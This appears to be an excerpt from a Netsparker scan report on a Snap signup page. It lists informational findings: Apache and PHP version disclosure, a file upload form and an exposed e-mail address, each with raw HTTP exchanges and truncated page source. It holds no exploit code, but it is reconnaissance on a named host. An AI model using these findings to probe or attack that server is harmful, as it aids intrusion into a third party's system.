Netsparker identified that the target web server is disclosing one of the Apache modules version. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can look for specific security vulnerabilities for the identified Apache module version. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /signup.php

/signup.php

https://account.snap.com/signup.php

Extracted Version

mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=1b215a7294b3dc6456676d0a5601c791; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..
File Upload Functionality Identified

File Upload Functionality Identified

1 TOTAL
INFORMATION
CONFIRMED
1
This page allows users to upload files to the web server. Upload forms are generally dangerous unless they are coded with a great deal of care. This issue is reported for information only. If there is any other vulnerability identified regarding this resource Netsparker will report it as a separate issue.
- /signup.php

/signup.php CONFIRMED

https://account.snap.com/signup.php

Form Name

logo_input

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=b22fd118a47c0aaaa7b8abd9895264bc; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /signup.php

/signup.php

https://account.snap.com/signup.php

Found E-mails

sam@conio.net

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=1b215a7294b3dc6456676d0a5601c791; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


